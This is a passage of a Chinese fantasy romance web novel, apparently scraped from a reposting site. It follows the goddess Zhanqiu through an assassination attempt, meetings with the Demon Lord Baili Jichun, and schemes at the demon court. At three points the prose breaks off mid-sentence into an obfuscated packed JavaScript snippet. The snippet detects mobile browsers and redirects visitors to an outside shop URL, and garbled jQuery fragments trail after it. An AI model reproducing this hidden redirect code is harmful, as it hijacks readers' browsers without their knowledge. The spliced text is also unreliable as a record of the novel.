就当她以为可以全身而退时,那群人却将手中的箭头对准了她,像是为了发泄没有达成目的的怒火。 箭矢飞射,周围的人群再一次陷入混乱,如同热锅上的蚂蚁一般,四处逃窜。 似乎光是放箭还不够,为首的男子也从阁楼上一跃而下,朝着斩秋的方向追来。 彼时邬霖也将阳奉阴违这件事做到了极致。 他趁着男子追捕斩秋的空隙,麻利地往斩秋相反的方向跑了。 虽然斩秋一开始就没指望他能派上用场,但回首时看见他毫不犹豫背弃的举动,仍然面色一沉,心里将他和他那该死的主子手刃了百遍。 见四周的妖族百姓已然跑得差不多了,斩秋终于停下脚步,转身望着对面正朝自己追来之人,双手合力施术。 掌心涌出的光芒将地面撕开一道巨大的裂缝,缝隙中如有巨蟒翻腾而出,朝着男子与其身后一众追兵袭去。 她并不恋战,趁着他们抵抗的当口,利落地转身,朝着城西人群密集的方向跑去。 城西的热闹并未受到城东的影响,人们依旧沉浸在歌舞游戏之中,仿佛一切纷扰都被隔绝在外。 斩秋很快便融进人群,发现自己甩掉他们以后,在今日头一回安下心来,享受起城中欢乐的气息,并不担心自己会就此与灵衫她们失去联系。 若她回不去妖族皇宫,该感到害怕的人只会是辰琰。 故而辰琰定会派人全城寻她,将她接回皇宫。在此之前,她只需要好好享受这得之不易的宁静。 梦幽城的景色很好,尤其是在夜里。 城西的街道一侧临湖,月光与妖族的纷飞的紫色灵火一并洒在晶莹的湖面上,竟显得几分梦幻。 斩秋沿街走着,忽然被路边售酒的小贩叫停下来:“女君,尝尝琉璃酿吧?” 在妖族,百姓们会称呼身份尊贵的女子为女君,而此时妖族小贩如此唤她,是为了招揽生意。 “您看,湖心美景配佳酿,多有意境啊。” 在湖心喝酒,倒是个早日投胎的好办法。斩秋心中嘀咕,目光却顺着小贩手指的方向望去,这才发现湖中央立着一座凉亭,凉亭前蜿蜒而出的栈道将其与街道相连。 亭下好像还坐着一人,身着一袭月白色的衣裳,衣袂在湖面漾起的清风中轻轻拂动,宛若谪仙降世。 “您若有意,不如您先去坐着,一会儿我将琉璃酿给您送过去?”小贩见她似有所动,循循善诱道。 “好。”斩秋的视线被那道月白的身影吸引,不自觉地踏上湖岸的栈道,缓缓朝凉亭步去。 待走近后,她忽然觉得亭下之人有些面熟,不禁探了探脑袋继续向前,将那人瞧得更仔细些。 几乎是看清男子面容的瞬间,斩秋拔腿就往回走,然而那人清冷的声音已从身后不紧不慢地传来。 “斩秋上神。” 斩秋应声驻足,犹豫了片刻方才转回身去,神情略显尴尬。 却见那声音的主人一手撑着脑袋,一手托着杯盏缓缓摇晃,目光落于盏上并未看她:“见了本座,你躲什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633960|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 尽管他的神色淡然,周身依旧散发着一股不言而喻的压迫气息。 “原来是魔尊啊,真巧,你也在这,方才我并未看清你。” 百里及春对她言语中的假意粉饰并不在意,他将杯盏放下,手指轻叩了叩桌面:“坐吧。” “不了,我还有要事在身。”斩秋笑着推拒,并不想让他沾染自己今夜挣来的这份难得的清净。 “忙着躲避刺客追捕的要事吗?”他说着掀起眼皮,眼神朝她身后的街道处一眺,漫不经心道,“哦,他们好像来了。” 话音辄止,只见斩秋以迅雷不及掩耳之势在他对面坐了下来,一只手撑在桌上用衣袖遮挡着面容。 这一幕落入百里及春眼里,教他嘴角微不可察地勾起一道好看的弧度。 他将脑袋放低了些,饶有趣味地欣赏着眼前人的滑稽姿态。 “他们走了吗?”斩秋蒙着脑袋小声问道。 百里及春的视线分明未从她身上挪开一瞬,却是脸不红心不跳地回了两个字。 “还在。” 哪怕斩秋看不见,也从他那慵懒的声音里听出了几分清浅的笑意。 她反应过来,放下衣袖回首望去,但见对面街景一片祥和,哪有他说的什么刺客追捕? 还有,方才那说好要将酒送过来的小贩呢? 斩秋的眼皮跳了两下:“那酒贩也是你安排的?” 没等他回答,又道:“你特意在这等我,该不会只是为了戏耍我罢?” “本座是来帮你的。”百里及春站了起来,月光洒落在他的肩膀,勾勒出他挺拔的身姿,“送你回去。” “回哪儿去?” “皇宫。” 话音甫落,斩秋正欲反驳,心想她无需他的帮忙,辰琰自会派人来请她回去。但转念一想,他口中的“帮”,似乎没有这么简单。 诚然,百里及春既然能够在宫中来去自如,想必也知道通往皇宫的道路。只是她若与他一同回去,不就摆明了告诉辰琰她与百里及春相识,且来往不浅,以至于能将妖族皇宫秘辛一同分享。 如此定会教辰琰将她划入敌方阵营,毕竟依百里及春上回的意思,他手中当有辰琰的把柄,以此威胁来换取他在妖界的特权,所以他与辰琰的关系绝非和睦。 不过…… 他既能威慑住辰琰,倘若辰琰误会他们之间的关系,她是不是就能借他的势,为日后与辰琰谈判时争取更多的筹码了? 这的确于她有利。 只是—— “这回又是什么条件?” 在她的印象里,百里及春非常奇怪,每一回说要帮她,可实则哪一次不是以“帮”为挟,提出交易。既是交易,何必说得这么好听,像是交情多深似的。 百里及春仿佛能看穿她的心思,唇角弯了弯:“本座就不能单纯地发发善心?” 斩秋闻言不由咳了两声,像是听到了什么骇人的消息。 单纯和善心,哪个字与他沾边了? “像魔尊这样精明又有手段之人,若动辄便发善心,可是要赔本的。” 听见她这么评价自己,百里及春唇边的笑意竟又深了些:“那你可误会本座了。” 他的口吻带着几分玩笑,几分认真。 “我偶尔也有,不图回报的时候。” 38. 第38章 但若真要计较分明,那他大抵也不是真的毫无所图。他想要的,大概是……教她多看他一眼。 就像现在这样。 斩秋抬首看向百里及春的眼睛,好像在辨别什么。他的眼神明亮,但里面总有一种她读不懂的情绪。 琢磨半晌未果,她便收回了视线。许是百里及春给她留下的印象太过深刻特别,她并不信他口中之辞,笃定了他此举必有所图。既然他不愿说,想必是他自有方式从中得利。 于是斩秋不再追问,心安理得地接受了他的“善心”。 入宫的道路上要通过重重结界,如同障眼法一般,若是没有灵力之人走这一遭,早已迷得晕头转向。 之前入宫都是坐在轿舆里,看不见这其中弯弯绕绕。如今亲眼瞧见,难免觉得眼花缭乱。 而百里及春不仅熟悉每一条路径,还能掌握每一道结界的破解之法,斩秋不由得感慨:“你到底是抓住了辰琰多大的把柄?” 他并未回答,但斩秋已在心中暗下决心。 绝对,绝对不能让他抓到自己任何把柄。 最后一道结界已开,皇宫的面貌呈现出来。斩秋盯着眼前路口,没再往前。 裘霜那边有灵衫看护,自是教她放心的。倒是裘安那边,她有一事需要确认。 只是上回百里及春只告诉她了如何从含光殿到月幽殿的办法,并不知如何从这里到月幽殿去。 遂扭头看向一旁的百里及春,心想都已经利用他了,不如用到底罢。 “带我去月幽殿吧。” 不知是听不惯这命令的口吻,还是反感她话中的内容,百里及春那双桀骜的眸子里透出一分冷峻:“这么着急?” 斩秋没听出他话中的不对劲,只道:“本来我没想过今夜就能回来,如今既回了,此事应趁早有个了结。” 那些弓箭手一看便是妖族中人,能买通妖族之人行刺,着实是令她意外。从前未听说过裘安与妖族有任何联系,可若此事不是裘安安排的,又会是谁? 百里及春闻言没吭声,顾自走在了前面。这回斩秋倒是有所察觉,不禁蹙了蹙眉,心想他的背影怎么莫名散发着一股寒意? - 辰琰将他们各自分配在不同的殿中,并遣侍者守候在外,的确存了监察之意。唯独百里及春是一个例外。 他不是她请来的。 准确的说,他是不请自来。 可是此刻月幽殿外也如百里及春所处的宫殿一般,没有侍者在旁,四下安静非常。 斩秋觉出一丝古怪,不由停下了脚步。她缓缓举起手,感受着微风从掌心划过,宛如细羽来回扫动。 再一抬眼朝月幽殿门外的夜樱树看去,却见那茂密的枝叶一动不动,仿佛泥筑的雕塑。 见状,她还有什么不明白? ——月幽殿周围被施了结界。 莫非除了裘安,还有别人在里面?思及此,斩秋随即折返到离殿门约莫百尺远的距离,躲到廊柱后面掩去身迹。 待站好后,她忽地想起那日在含光殿的屋顶上,她讥百里及春为“梁上君子”,那时他说:“或许曾几何时,你也这么做过。” 从前是否做过她不记得了,但眼下这般窥视的情形倒是与“梁上君子”没什么分别。好在百里及春在送她至通往月幽殿的最后一道结界时便已离去,不必让他亲眼看见自己所言应证。 没过多久,那道朱红的殿门从里面打开,一道颀长的身影从中走了出来。 那人墨发高束,一袭锦衣,黛色的靴筒上还绣着九尾狐的图样。 斩秋的心如同铅块一般沉下去。 是有苏惜言。 难怪,难怪今日在城中遇袭时他是那样的反应。 斩秋从廊柱后走了出来,大步朝月幽殿步去。 方一推门而入,寒凉的声音也随之在殿内响起。 “二殿下何时与有苏惜言搭上线了?” 裘安应声回首,视线不慌不忙地落在她身上,眼底仅有一刹的意外,从容道:“你在说什么?” “今夜的刺杀之人是你安排的。”斩秋没有理会他的故作无知,单刀直入地将话挑明。 “亏裘霜还傻傻地觉得你是这世上待她最好之人。你可知道,那日她还与我说,她要回报你对她的好,说待她日后变得更强大,你想要什么她都会替你寻来。” 裘安这回没再装作不懂,但他的目光异常平静,且十分冷漠,仿佛不觉得自己有何过错,声音淡得像清晨飘散的薄雾。 “她若真如你所说,什么都愿给我。那我想要她的性命,不可以吗?” “无耻。”斩秋几乎是从牙缝里挤出这二字,“对自己的亲妹妹都能痛下杀手,裘安,你不觉得自己太可怕了吗?” “是吗?”他勾了勾唇,眉宇间闪过稀薄的笑意,“相较于我,我倒是觉得你更加令人不安。” 他说:“你总是能打乱我的计划,就好像……” “你能未卜先知似的。” 此话说得风轻云淡,可其中刺探的意味犹如灼热的烙铁,烫得斩秋手指微蜷。 裘安说着往前几步,走得离斩秋近了些,好像这样便能将她看得更清楚一般:“你我相识不过数月,可为何我总觉得你对我,十分了解。” 了解到他都懒得在她面前假装良善,反正也是徒劳无功。 可裘安哪里会知道,他口中所谓的“了解”是她用什么样的代价换来的。 殿内陷入一阵冗长的沉默。 “怎么不说话?”裘安目不转睛地望着她,虽犹在笑,口吻却异常森寒,“莫非你真有先知的本领?” “什么本领。”斩秋嗤笑一声,目光似刃,“不过是从前不幸,脚下踩过的粪土多了,从而练就了一双甄别的眼睛罢了。” 大抵是没听过这么糙的指桑骂槐,他脸上的表情有一瞬僵硬。 半晌才抹开了话题:“我知道辰琰去找过你。” 斩秋并不意外。 既然他与有苏惜言之间有来往,想必这件事就是有苏惜言告诉他的。但他肯定不知道辰琰与她谈了些什么,这么说只是在诈她罢了。 毕竟辰琰可是一族之主,而非没有城府、全然信任自己下属的寻常之辈。尽管她再信任有苏惜言,也不可能把其中具细一一告知。 斩秋掀起眼,似笑非笑地对上他审视的视线:“怎么,她来找我也能算得上把柄了?这个把柄有你意图谋害裘霜大吗?” 裘安听罢默了片刻,语气倏尔缓和许多:“你不必如此与我说话。” “我只是想告诉你,无论辰琰与你说了什么,你都不要答应。就算你我之间再不和睦,可我们才是相同立场之人。” “你难道要为了他区区妖族之辈,损害我天界的利益吗?” “区区妖族”四字滑入耳际,听得斩秋纤眉一挑:“妖族怎么了?” 似乎没想到她会有此一问,裘安微愣没有应答。斩秋也无意再与他在同一个屋檐下多待一刻,说完便甩袖而出。 回到含光殿时,殿外的两名妖侍见她归来,俱是神色错愕。二人对视一眼,争先恐后地往外跑了。 不肖想也知道,他们是去禀告妖皇了。 殿内一同感到惊讶的还有灵衫与裘霜,但她们心中更多的是欣喜。 灵衫还未走到斩秋身边,一旁已有一道身影更快,“嗖”地一下扑到了斩秋身上。 “秋姐姐!我还以为你回不来了!”裘霜紧紧抱住斩秋,声泪俱下。 许是因为斩秋不习惯这种亲密的举动,身体有一瞬僵直。 但她很快适应过来,抬手拍了拍裘霜的后背,柔声道:“我没事。” 说完看向一旁的灵衫,也对她轻轻颔首,示意她不要担心。 “殿下,你是怎么回来的?”灵衫走到门口将门阖上,转身问道。裘霜听闻也从激动的情绪中回过神来,退出了斩秋的怀抱,抹掉眼角的泪水好奇地看向她,“是啊,秋姐姐,是妖皇派人去寻你了吗?” “没有。”斩秋道,“百里及春带我回来的。” “那个大魔头!”裘霜惊呼,“秋姐姐,你和他走得很近吗?” 与此同时,灵衫也问:“殿下,他没对你做什么罢?” 瞧她二人如此紧张的神色便知,百里及春这个名字在众人心里,代表了危险。 这不奇怪,世人提起他的名字,大多都是这副表情。 斩秋回想起凉亭下百里及春那张戏谑的脸,摇了摇头:“先不说这个。” 她拉过裘霜的肩膀,语重心长道:“霜儿,我需要你先回天宫。” 听出她口吻中的异样,裘霜不由得问:“就我一个人回去吗?那你与二哥呢?还有灵衫姐姐呢?” “嗯……”斩秋轻轻颔首,在心中组织着说辞,本欲告诉她裘安的真实面目,好让她日后多加提防。 但转念一想,若她知道今夜那群人是冲着她来的,并且背后指使之人就是她珍视的二哥,于她而言无疑将会是一个巨大的打击。 故而该用什么样的方式告诉她,还需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633961|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好斟酌。 就在斩秋思忖的当口,方才去给妖皇通风报信的两名妖侍又折返回来,打断了她们的谈话。 “斩秋上神,陛下邀您到万象宫一叙。” 若仔细瞧便能发现,两名妖侍的鬓发已有些许湿润,想来走得很急。 斩秋见状与灵衫交换了个眼色,示意其看护好裘霜,待她回来再与她们解释。 - 辰琰听通传之人来报说在含光殿看见了斩秋时,心底闪过一丝惊讶,惊讶之余则是一阵后怕。 那时她正准备派人到梦幽城寻斩秋,命他们务必将其带回,毕竟斩秋于她而言还有用处,断不可让她跑了。 可是她居然在这之前自己回来了。 能够通晓入宫之路,要么是宫中有人泄密,要么…… 想到这里,辰琰的眼神愈发深沉。此时,门外妖侍扬声通禀:“陛下,斩秋上神到了。” 辰琰闻音起身,看着斩秋缓缓朝她走来、施礼,姿态神情与往常无异。如此倒是让她将原本想要询问的话语搁置,抿了抿唇。 不曾想斩秋率先启口,没有丝毫的寒暄迂回,直问她:“敢问有苏惜言在陛下那有几分可信?” “你这是何意?”辰琰对这始料未及的问题感到不解,又听她继续说,“妖族如今的确是用人之际,但我还是想提醒陛下,切勿错信、错用。” “错信错用”不过短短四字,但其背后的分量却不轻。 尽管此时辰琰的表情被面具遮挡,斩秋也能从她漆黑的眸子里看出几分冷漠。 但她没有动怒,只是平静地说:“朕知他今夜没有护住你与公主,让你们受惊了,的确是他不对。只不过他身为妖族少君,职责便是……” “陛下以为我是因此怀恨在心,从而前来挑拨离间吗?”斩秋打断道,“陛下可想过,若我与公主出事,妖界会面临什么?” “我来告诉陛下。若公主命丧妖界,天帝势必要发难于妖族。届时二界纷争一起,想必不用我说陛下也知道哪一方会陷入被动的局面罢。” “当时我与霜儿就在离陛下不过五步的地方,他分明可以把我们划分在内,却偏偏派人将我们阻在圈外。是,他的职责是保护陛下您一人,这没有错,可是他身为妖族少君,难道真的不清楚这其中利害吗?” 斩秋清亮有力的声音在殿内回响。她没有提到有苏惜言与裘安的关系,因为这件事该由有苏惜言亲自向辰琰解释。 面具之下,辰琰的眉梢轻扬。她并未替有苏惜言辩白,也未斥责斩秋的逾矩,只是话锋一转,笑问:“朕还没问你,你是怎么回来的?” “这便是我要与陛下说的第二件事。” “哦?愿闻其详。” “请陛下明日即刻送裘霜回天宫。” 这看似前言不搭后语的话使得辰琰眼眸微眯:“斩秋上神这又是在玩什么把戏?朕怎么看不明白呢。” “今夜的刺客是冲着裘霜来的,陛下若不信,可以去问问有苏惜言。”斩秋坦然道,“这刺杀既有一次,就难保不会有第二次。我不愿看见裘霜出事,想必陛下也一样,不愿夜长梦多罢。” 她说完又笑着补了一句:“若陛下不答应将裘霜送回天宫,我会亲自带她离开。” 话音辄止,殿内陡然静了下来。 辰琰没有应答,视线却牢牢地固定在斩秋那张笑容和煦的脸上,空气中似乎弥漫着危险的气息。 良晌,才听她道:“你是在威胁朕么?” “我是在给陛下指一条明路。”斩秋敛起笑容,肃穆道:“只要陛下送裘霜离开,先前我答应陛下之事全部照旧。” 斩秋走后,辰琰面无表情地朝屏风后轻道一声。 “出来吧。” 下一刻,便见有苏惜言走了出来。 “陛下。”他撩摆跪地,背却挺得很直,垂首目视着地面,冷静道,“请听臣解释。” “解释什么?”辰琰并未看他,声音平淡得不起一丝波澜,如同暴风雨前的海面一般,“难道她所言非实?” “斩秋上神所言的确属实。但是臣,绝无背主之心。” “是吗?”辰琰似乎提起些兴致,移步坐到案旁,将脸上骇人的面具摘下,露出一张白皙的面庞,红唇轻启,“那朕可要好好听一听你的解释了。” 她双腿交叠居高临下地睇着跪在地上的有苏惜言,声音宛如幽冥绝境爬出来的冤魂,听得令人齿寒。 “你若解释得不好,今夜那些人手里未射出的箭,便都赐给你罢。” 39. 第39章 第二日一早,辰琰果然派人接走裘霜,将其与梦幽城滞留的一众仙侍送回天宫。 临行前斩秋特意嘱咐裘霜,若是天帝问起,便答是她自己欲先行回宫,以免惹得天帝生疑。 但她没有告诉裘霜一定要让她离开的原因。 昨夜从万象宫回来后,她本有意将事情的原貌告知于她,可她才刚提起裘安的名字,裘霜便满面急容地问她,裘安夜里在不在城中,如今是否安然无恙。 见她是这般反应,斩秋一时语塞。心道如今她手中没有证据,若是直接将事挑明恐怕会适得其反,引得裘霜与她生出间隙。 思来想去,此事还是以后再议。 裘霜走后,殿外很快传来几道叩门声,想来是辰琰派人前来通禀,欲让她兑现承诺。 只是未料到前来通禀之人会是有苏惜言。 “斩秋上神,陛下请你到苍梧亭。” 望着面前之人,斩秋略感狐疑,身为妖族少君,竟也要做起传唤的琐事了么。 “此事差旁的妖侍带路便可,怎么是你来了?” “托斩秋上神的福。”有苏惜言轻飘飘地回道。 分明平淡的声音,可她却仿佛从中听出了几分怨怼。 走在路上,斩秋忽然想到了什么,盯着有苏惜言的背影:“昨日你在殿中?” 她话问得隐晦,并未提及妖皇抑或宫殿的名称,可后者却无丝毫的遮掩,轻声答道。 “是。” 在前面带路的有苏惜言没有停顿,没有回头,好像二人提及的只是一件不足为道的小事。 而斩秋在听到他回答的瞬间停下了脚步。 察觉到身后没了动静,有苏惜言这才驻足,回首看进她那一双略带审视的眸子里。 “今日当真是妖皇请我去么?” 面对生人,斩秋素来十分警醒,更别提对方还是一个前不久才被她告发之人。 “是。”有苏惜言面不改色地回答,声音与神情都与方才一般不加遮掩。 斩秋看得出他并未撒谎,不由提起了兴趣:“你既知我与妖皇揭发你,怎么不问问我是怎么知道的。不好奇么?” 有苏惜言应声摇首,脸上不显一丝情绪。 可在他摇头的间隙,右颈侧连接衣领处露出一道呈紫的鞭痕,一瞧便知是新添的。 斩秋的视线停落在他颈边,眸色幽深:“也不想报复我?” 听罢,他似乎意识到什么,伸手将衣领往上扯了些许,盖住那道一直往下延伸的痕迹,冷冷道出两字。 “不敢。” 他说着垂下眼睫,掩去眼中神色。 不是不想,而是不敢么。斩秋稍一挑眉,若有所思地看着他。 好似能感受到她充满侵略性的视线,有苏惜言又道:“斩秋上神还有要问的吗?” “你和裘安是什么关系?”斩秋脱口而出。 这一回他并未回答,反倒是问她:“斩秋上神与魔尊又是什么关系?” 斩秋闻言神色一暗。 是辰琰让他来问的么? 但见有苏惜言似乎也不是真的要听她回答,自顾自地转身向前,边走边道:“莫让陛下久等了。” 穿过不知多少个界口,有苏惜言终于在她身前停了下来:“斩秋上神,到了。” 他说完便先行一步,朝亭下好整以暇坐着的辰琰走去。正是这时斩秋才发现,辰琰身边还有一名女子。 她与有苏惜言一左一右站在辰琰身后,模样生得是极好的,想来便是裘霜口中的另一位妖族少君了。 斩秋提步走到亭中,在辰琰对面坐了下来。未作任何寒暄,直接从袖中拿出一封信放到桌上,朝对面推过去:“这是要给天帝的信函,陛下过目。” “不必看了,朕自是相信你的。”辰琰说着指尖朝桌上轻点了点,便见她身后那名女子将桌上的信接过,转身走出了苍梧亭。 “其实朕今日唤你来也不光是为了这件事。” 斩秋听着掀起眼皮,好奇地看她,只见她唇角含笑接着说道:“朕听闻二殿下正在寻找苍竹。” 话音甫落,斩秋眼里划过危险之色:“苍竹?” “朕知道,你与二殿下婚期未定,是因为二殿下欲寻苍竹为聘,却一直未能寻到。” 此刻若非辰琰提起,斩秋都快要忘了这件事了。 那日之后她又去执月阁查阅过古籍,原来苍竹曾一度是妖神的本命法器,可它早在两千年前妖神逝世时一同没了踪迹,如今想要寻到怕是仅有千分之一的可能。 因此她便权当没有这件事,心想裘安定是无法完成这个诺言的。 不过当日天宫的情况特殊,万虚殿内的事绝无可能外传,此事辰琰怎么会知道? 斩秋思忖着,目光移到了辰琰身后的有苏惜言身上。 是裘安告诉他的么? 默了片刻,她收回视线:“陛下怎么突然提起这个?” “朕知道苍竹在哪儿,也愿将此作为新婚之礼赠于你。”辰琰眉梢微扬,眼里揉尽了蛊惑之意,“不过,也需要你帮朕一个小忙。” 斩秋闻言瞳孔微缩,紧紧盯着辰琰的眼睛,欲捕捉其中任何一个细微表情,以此判断她话中虚实。 却见她的神情的确不像有假。可苍竹这般上古神器是何等的珍贵,怎么会以一个“小忙”相抵。 凝神细思许久,斩秋对辰琰道:“此事陛下也对裘安提起过吗?” 辰琰温雅地笑着摇头:“毕竟是婚事,同为女子,朕以为掌控权还是握在自己手里较好,万一哪日你突然反悔了呢?” 诚然,辰琰并不关心斩秋是否真的与裘安情投意合。 她若心悦裘安,便能借此尽早将婚期定下;反之,便能以此拖延这门婚事。 无论是哪一种,于她而言都只有利处。 辰琰想不出斩秋会拒绝的理由。 不过凡事都有万一。她虽嘴上这么说着,但倘若今日斩秋不应,她转头便会去寻裘安。 毕竟买卖一场,哪里还挑买主呢? “陛下想要我做什么?”斩秋道。 “遗光塔中有一个男人。”辰琰说着脸上笑容微敛,声音也变得阴冷起来,“无论死活,朕要你把他带回妖界。” “遗光塔”三字方一入耳,斩秋便回想起上次她擅闯魔界时的情形,以及百里及春那张满是血迹的脸,心生拒意,“魔界关押之人,我恐怕……” 孰料她话未说尽,便被辰琰寒声打断:“不难办罢,你与百里及春不是很熟稔吗?” “陛下这是什么意思?” “若非关系亲密,他又怎会将宫道秘门告知于你?”辰琰一双上挑的眼里滚过浅薄的怒意。 斩秋没有应声。 昨日让百里及春送她回来的本意就是如此,让辰琰误会他们的关系从而心生忌惮,好让裘霜顺利离开。她既然承了此计得来的好处,便也该担上此计背后可能的风险。 斟酌片刻,她道:“关在遗光塔中的人是谁?” “不急。”辰琰端起桌上的茶盏轻呷一口,“左右你们还要在这里待些时日,待你离开时,朕再告知你。” 斩秋不以为意地点头,离开之际忽然想起什么。 “对了,明日盛典结束,各界宾客就该离开了罢。虽然这宫中结界的确能暂时拦住裘安,但若陛下不想场面闹得太难看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633962|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还是编造一套说辞与他罢。” 否则依照裘安多疑的性子,怕是要惹出不小的动静。 “其实什么说辞并不重要,关键是告诉他的人,”斩秋意有所指地斜睨有苏惜言一眼,“让他去,说不定裘安会相信呢。” 辰琰听出她话中试探之意,不禁想起昨日她在万象宫中说的那句“错信、错用”之言,神色变得冷峻起来:“这就不劳斩秋上神费心了,朕的少君,朕自有安排。” 这般反应坐实了斩秋心中的猜想。虽然辰琰明面上责罚了有苏惜言,但却没有因此革去他的职位,说明他在她那里还是值得信任的。如此看来,有苏惜言和裘安之间的关系并不简单。 ——有苏惜言不是单方面为裘安所用,他们二人当是互相利用。 可是裘安自己知道吗? 想到这里,斩秋眼底划过一抹微不可察的讥弄,与辰琰告辞。 回去时不再是有苏惜言为她引路,路途变得沉闷许多,她不禁思考起届时如何从遗光塔找人。 硬抢自是行不通的,那便只有与他商谈了。 斩秋随即停下脚步,对前面的妖侍道:“你可知魔尊现在在何处?” - 宫外密林,隐约可见三四十个黑影散落其中,他们各自手持刀剑,神色警醒,似乎在等待着什么。 可是林中静得诡异,就连一阵风都不曾拂过,全然陷入一片死寂。 良久,其中一人终于忍不住小声问道:“你们说,尊上会来吗?” “都什么时候了,还唤他尊上呢!”为首的男子眉头一攒,提声喝道。 “可是贺将军,就算他真的来了,我们又能把他如何?”另一人又问。 “怕什么!如今又不是在魔界,百里及春既无援兵,我们这么多人还对付不了他一个吗?” 贺青怒目圆睁道:“我和楚风效忠于他千年,可在他眼里我们算什么?!楚风不过是被奸人所诱泄露了消息,他百里及春说杀就杀了!你们难道没有看到楚风的死状吗!?” 众人听闻纷纷垂首,忆起那日楚风被人从烛月殿中抬出来的情形,不由起了一身寒栗。 先前说话的那人抿了抿唇,怯怯道:“尊……他有时的确不讲情面,可平时该赏的好处也没少过啊,楚将军的事会不会有什么误会……” “呸!你要是怕死现在就滚!”贺青怒斥一声,随后朝周围扫视一圈,对他们道,“还有你们,怕死的都给我滚!” “他百里及春是厉害,可他成魔前不过是一介凡胎,既是凡胎便可被法器压制。如今我已从鼎阁夺来了遏灵锁,饶是他再法力无边,在遏灵锁的威力下也只能使出两成功力,届时我等一起上,定能为楚风报仇!” 贺青说着好像已经能够看到百里及春惨败的场面,神情变得得意起来:“也得亏他鬼迷了心窍硬要来这妖界观典,否则还等不来这般下手的好机会。我听温辞那小子醉酒时说,竟是因为一名神……” “贺将军!” 人群中一道惊恐的声音打断了贺青的话,众人的视线纷纷朝前移去。 只见一道月白色的身影不急不缓地从树影中走来,脚下的枯枝落叶随着他的每一步悄无声息地碎裂,压迫肃杀的气息瞬间席卷了整片密林。 站定后,百里及春露出笑容,饶有趣味地盯着贺青。 “怎么不说了?” 他的话声温润柔和,好像夹带着好奇与兴奋,可在他身后却似能看见戾气扩散,宛如九渊阴冷的凶灵张开了巨口,惊得众人后退一步。 贺青咽了咽口水,方才嚣张的气焰在这一刻骤然熄灭。他觉得自己若再多说一句,就会被百里及春碾得灰飞烟灭。 40. 第40章 昨日自斩秋来过以后,裘安一直坐在案前。整整一夜,未曾阖眼。 他在脑海中整理着近些时日自己所梦到过的一切,直觉有一个答案在朝他靠近。 梦境似碎片一般,但仔细拼凑便能发现,它们发生在连贯的时间线内。 从斩秋回到九重天,到天后寿辰,再到妖神祭典的请柬。 虽细节稍有出入,但其走向大致相同。 祭司说出妖神有后的那夜,他做了一个比此言论还要荒谬的梦。 梦里他亲手杀了裘霜。 梦时初觉荒诞,但醒后他又觉得此举是无疑是最好的办法。不过牺牲一人便能挽回大局,实在划算。 他愈发坚信这所谓的梦境是某种预言。 只是突然回想起祭坛下斩秋那张惶恐的脸,好像知道他会对裘霜做什么一般,不由教他心生怀疑。 斩秋也在做这样的梦吗? 他决定试探一番。 只不过这一次他不想亲自动手。他需要一把好用的刀,而眼下妖族皇宫内,正有一把。 有苏狐族重诺,更重恩情。一千年前他尚在昌芜郊,母神病逝前曾以最后的神力救下一名重伤断尾的九尾天狐。那人膝下有一子,其子有个好听的名字,唤作惜言。 他果真人如其名,惜字如金。直到裘安找上他时,他都一副漠视一切的姿态。既无常人对待恩主时的感激涕零,也无忘恩负义的推辞抗拒。 他只是安静地站在那里,听着裘安三言两语就敲定了刺杀之事。 整个过程从头至尾,有苏惜言都只问了一句。 “是否做完此事,你我恩怨即消?” 裘安点头应是。 挟恩图报这件事,裘安第一回做,莫名觉得爽利。原来只要搬出旧恩,随便张口一两句话,便能让从未谋面且立场相悖之人心甘情愿地为你所用。 只可惜他没做过好人,更没施过恩惠,以后这样的好事怕是再没机会上演了。 后来得知行刺失败,裘安并不恼怒,反倒有种莫名的欣喜,因为如他所料,搅和行刺之人是斩秋。 当她气势汹汹地闯入殿中,质问他为何这么做时,他的内心似有激流撞击岩壁,滚起无数涟漪,震荡不休。 斩秋不会知道,她脸上难掩的愤怒在他眼中,是没顶的欢愉。 窥探未来,这世上竟还有如此令人兴奋的事,且参与此事的不止他一人。 他好想再度入梦,看一眼此境的结局。看看母神的遗愿是否达成,天帝的算盘是否落空,六界落于谁手,他和斩秋又是谁斗赢了…… 诸多诡念一拥而上,竟教他兴奋地难以入眠。 - 林中的空气仿佛凝固了一般。 此刻众人纷纷怔住,脑海中思绪万千,其中最洪亮的一道声音,唯有“后悔”二字。 他们是贺青手底下的,将军有令,他们自当遵从。可若这从命的本质是叫他们去送命,不值当。 一道颤抖的声音陡然响起,打破了眼前的死寂。 “尊……尊上恕罪!贺将军为楚将军不平,一时激动冲昏了头,我等也不过是听命而已,对尊上绝无二心!” 贺青闻声回过神来,转头低低咒骂一句:“怂货!” 